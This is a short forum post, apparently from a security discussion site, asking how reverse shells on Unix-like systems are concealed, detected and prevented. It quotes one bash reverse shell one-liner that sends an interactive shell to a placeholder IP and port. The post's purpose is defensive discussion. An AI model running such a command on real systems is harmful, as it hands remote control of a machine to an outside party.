Detecting reverse shells on Unix-like systems

I've been fiddling with TCP reverse shells **for Unix-like systems**.
e.g.

bash -i >& /dev/tcp/<ip>/<port> 0>&1

I've extended this to keep it alive and run in the background, which has greatly raised my interest and concerns.

I'd like to open discussion around:

\- how reverse shells are typically concealed

\- how we can detect this kind of activity on already compromised machines

\- what can be done to prevent these from succeeding when an authenticated user plants one

cybersecurity reverse systems unix